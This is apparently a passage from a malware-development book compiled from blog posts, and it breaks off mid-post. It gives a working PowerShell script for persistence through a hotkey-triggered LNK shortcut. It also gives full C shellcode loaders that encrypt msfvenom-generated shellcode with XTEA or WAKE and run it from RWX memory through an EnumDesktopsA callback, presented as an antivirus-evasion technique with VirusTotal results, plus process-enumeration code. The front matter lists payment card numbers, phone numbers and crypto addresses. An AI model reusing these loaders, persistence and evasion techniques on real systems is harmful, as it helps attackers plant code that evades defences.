Antipin Eleazar, Scaphocephaly (Sagittal Craniosynostosis).

Djami

Khasenova Djamilya, Hepatoblastoma (liver cancer).

The book is divided into three logical chapters:

  • Malware dev tricks from source code leaks
  • Malware analysis examples
  • Helper scripts (most in python) for malware analysis

All material in the book is based on my posts from WebSec blog, HVCK magazine, MSSP Lab blog and my own articles.

If you have questions, you can ask them on my email.

My Github repo: https://github.com/cocomelonc

This book costs $32 but you can pay as much as you want. If you are unable to pay for it, I will send it to you for free.

If you cannot pay via Paypal:

btc

BTC address: 1MMDN38mheQn9h2Xa2H6hqMSfFYKW4nQUE

eth

ETH address: 0xf6ed40f61b603a4b2ac7c077034053df4f718f37

xmr

XMR address:
87E2aD7P7FGiQrUdznXPqtH7enHywV8qm5kMqKziKLz8ECWZENE8ZV5JWRTJhA3RVS5rxSogRsd7z7yX2DMn29dR3Vfnjbj

Binance email: [email protected]

VISA/Mastercard:

4400 4301 3484 3363 AIMAN ANTIPINA (cardholder)
4400 4302 1897 8630 ZHANAR KHASSENOVA (cardholder)

For Kaspi:

+7 700 270 7807 (Айман А.)
+7 701 242 6662 (Алия Ш.)

Charity fund +1 from Kazakhstan (Kaspi QR):

plus1

If you are unable to pay for it, I will send it to you for free.

MALWILD book

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 23. LNK files. Simple Powershell example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the more interesting malware persistence tricks: via Windows LNK files.

LNK

According to Microsoft, an LNK file serves as a shortcut or β€œlink” in Windows, providing a reference to an original file, folder, or application. For regular users, these files serve a meaningful purpose, facilitating file organization and workspace decluttering. However, from an attacker’s perspective, LNK files take on a different significance. They have been exploited in various documented attacks by APT groups and, to my knowledge, remain a viable option for activities such as phishing, establishing persistence, executing payloads.

Do you know that Windows shortcuts can be registered using a shortcut key in terms of execution? This is the main trick for malware persistence in this case.

practical example

Let’s say we have a β€œmalware”. As usually, meow-meow messagebox application hack.c:

/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/12/10/malware-pers-23.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And then, just create powershell script for create LNK file with the following properties:

# Define the path for the shortcut on the desktop
$shortcutPath = "$([Environment]::GetFolderPath('Desktop'))\Meow.lnk"

# Create a WScript Shell object
$wshell = New-Object -ComObject Wscript.Shell

# Create a shortcut object
$shortcut = $wshell.CreateShortcut($shortcutPath)

# Set the icon location for the shortcut
$shortcut.IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"

# Set the target path and arguments for the shortcut
$shortcut.TargetPath = "Z:\2023-12-10-malware-pers-23\hack.exe"
$shortcut.Arguments = ""

# Set the working directory for the shortcut
$shortcut.WorkingDirectory = "Z:\2023-12-10-malware-pers-23"

# Set a hotkey for the shortcut (e.g., CTRL+W)
$shortcut.HotKey = "CTRL+W"

# Set a description for the shortcut
$shortcut.Description = "Not malicious, meow-meow malware"

# Set the window style for the shortcut (7 = Minimized window)
$shortcut.WindowStyle = 7

# Save the shortcut
$shortcut.Save()

# Optionally make the link invisible by adding 'Hidden' attribute
# (Get-Item $shortcutPath).Attributes += 'Hidden'

As you can see, the logic is pretty simple. We simply create a shortcut on the desktop that has a hotkey specified: CTRL+W. Of course, in real attack scenarios it could be something like CTRL+C, CTRL+V or CTRL+P, etc.

For example, if you create a shortcut for Paint, it does not have any hotkey specified:

pers

Explorer restricts shortcut support to commands beginning with CTRL+ALT. Additional sequences must be set programmatically through COM.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

For checking correctness, run it:

.\hack.exe

pers

The just run our powershell script for persistence:

Get-Content pers.ps1 | PowerShell.exe -noprofile -

pers

As a result, Meow LNK file is created successfully.

If we look at its properties, everything is ok:

pers

Finally just run it and try to trigger CTRL+W hotkey:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and software like Emotet in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Many thanks to my friend and colleague Anton Kuznetsov, he reminded me of this technique when he presented one of his most amazing talks.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1204.001
APT28
APT29
Kimsuky
Emotet
MSDN: Shell Link (.LNK) Binary File Format
Malware persistence: part 1
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 22: encrypt/decrypt payload via XTEA. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

Today I decided to look at an improved algorithm - XTEA.

XTEA

XTEA (eXtended TEA) is a symmetric block cipher designed to enhance the security of TEA (Tiny Encryption Algorithm). Developed by David Wheeler and Roger Needham, XTEA operates on 64-bit blocks with a 128-bit key and typically employs 64 rounds for encryption and decryption. The algorithm incorporates a Feistel network structure, utilizing a complex key schedule and a series of bitwise operations, shifts, and additions to iteratively transform plaintext into ciphertext.

XTEA addresses certain vulnerabilities identified in TEA, providing improved resistance against cryptanalysis while maintaining simplicity and efficiency. Notably, XTEA is free from patent restrictions, contributing to its widespread use in various applications where lightweight encryption is essential, such as embedded systems and resource-constrained environments.

pracical example

As usually, let’s implement this cipher in practice.

For simplicity I decided to implement 32-rounds:

#define KEY_SIZE 16
#define ROUNDS 32

The code is identical to the implementation of the TEA algorithm, just replace encryption and decryption logic:

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

As you can see, it’s implemented with the same delta = 0x9e3779b9.

For simplicity, I used running shellcode via EnumDesktopsA logic.

Finally, full source code is looks like this (hack.c):

/*
 * hack.c
 * with decrypt payload via XTEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/23/malware-cryptography-22.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

int main() {
  unsigned int key[4] = {0x6d6f776d, 0x656f776d, 0x6f776d65, 0x776d656f};
  unsigned char my_payload[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
    "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
    "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + 8 - (len % 8)) & 0xFFF8;

  unsigned int *padded = (unsigned int *)malloc(pad_len);
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  free(padded);
  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions. For this example, use the meow-meow messagebox payload as usual.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected:

av-evasion

For correcntess, firstly I just print it without running β€œmalicious” messagebox.

Then, compile and run it again with shellcode logic:

.\hack.exe

av-evasion

Upload our sample to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/29d9599e7c46f3680ed29428b7e6afa2061215e7f9baeedcb3fa03ddbde57774/detection

18 of of 72 AV engines detect our file as malicious as expected.

I think it is quite possible to achieve a bypass Kaspersky and Windows Defender (static analysis) in local lab.

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
XTEA
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 37: Enumerate process modules via VirtualQueryEx. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

It’s similar to my previous post about enum list of modules, but in this case I used VirtualQueryEx

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, create function which opens a specified process, iterates through its memory regions using VirtualQueryEx, and retrieves information about the loaded modules, including their names and base addresses:

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

As you can see, the code enters a while loop that continues as long as the VirtualQueryEx function successfully retrieves memory information. This loop iterates through memory regions within the target process.

Then checks whether the AllocationBase of the current memory region matches the BaseAddress. This condition ensures that it only focuses on the base address regions. If the conditions are met, it proceeds to retrieve the module name.

if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx function is called to retrieve the module filename associated with the current memory region’s base address. If successful, it stores the filename in szModName.

If the module name retrieval was successful, the code prints the module name and base address in a formatted manner.

After processing the current region, the base pointer is incremented by the size of the region to check the next region in the subsequent iteration of the loop.

That’s all.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of 
 * modules of the process via VirtualQueryEx. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This code can also help you develop your own script to work with process memory, for example for forensics or other tasks on blue team practical cases.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

VirtualQueryEx
GetModuleFileNameEx
Find process ID by name and inject to it
Find PID via NtGetNextProcess
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 21: encrypt/decrypt payload via WAKE. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: WAKE. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

wake

The WAKE (Word Auto-Key Encryption) algorithm, created by David Wheeler in 1993, is a stream encryption method. It uses an automatic key schedule to encrypt and decrypt data. Operating in rounds, it generates an auto-key sequence to scramble data. Its simplicity makes it easy to implement, though not suitable for high-security applications due to known vulnerabilities. WAKE encryption offers historical significance as one of the early cryptographic algorithms for lightweight applications.

practical example

Here’s a step-by-step overview of implementing the WAKE encryption algorithm with 32 rounds:

Key Scheduling: - Start with a 32-bit encryption key. Initialize a schedule array to store round keys. The first key is the user-provided key, and the remaining keys are generated using a simple arithmetic operation and a multiplier.

void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

Data Preparation: - Divide the data into 32-bit blocks if the data length is not already a multiple of 4 bytes. Add padding to ensure the last block is 32 bits:

void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

Encryption: - For each 32-bit block of data:

  • For each of the 32 rounds:
  • Add the current round key to the data block.
  • Perform a bitwise rotation operation on the data (shifting left by 3 bits and rotating in the carry bit).
  • Continue to the next round:
void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

Decryption: - To decrypt, you need the same key schedule. Reverse the encryption process by applying operations in reverse order.

void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

Padding Removal: - After decryption, remove any added padding from the data:

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

This implementation yields a simple yet effective encryption scheme. However, it’s important to note that the WAKE algorithm has known vulnerabilities and is not suitable for high-security applications.

So, full source code for encryption and decryption our meow-meow payload is looks like this:

/*
 * hack.c
 * WAKE encrypt/decrypt implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/10/20/malware-cryptography-21.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 64

// WAKE key schedule
void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

// WAKE encryption
void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

// WAKE decryption
void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

// Add padding to data
void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Encrypt/decrypt data
void run_payload(unsigned char *data, size_t data_len, uint32_t key) {
  printf("original data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  add_padding(&data, &data_len); // Add padding

  printf("padded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  size_t num_words = data_len / 4;
  uint32_t *data_words = (uint32_t *)data;

  uint32_t schedule[ROUNDS];
  key_schedule(key, schedule);

  // Encrypt the data
  wake_encrypt(schedule, data_words, num_words);

  printf("encrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%02X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  // Decrypt the data
  wake_decrypt(schedule, data_words, num_words);

  printf("decrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%08X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  remove_padding(&data, &data_len); // Remove padding

  printf("decrypted unpadded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, data_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, data, data_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
}

int main() {
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };
  size_t data_len = sizeof(data);

  uint32_t key = 0x01234567; // 32-bit encryption key

  run_payload(data, data_len, key);

  return 0;
}

Of course, this will look suspicious for antivirus solutions, but I’ll still look at the result. Printing operations is just for checking correctness of implementation.

demo

Let’s go see it in action.

Compile it:

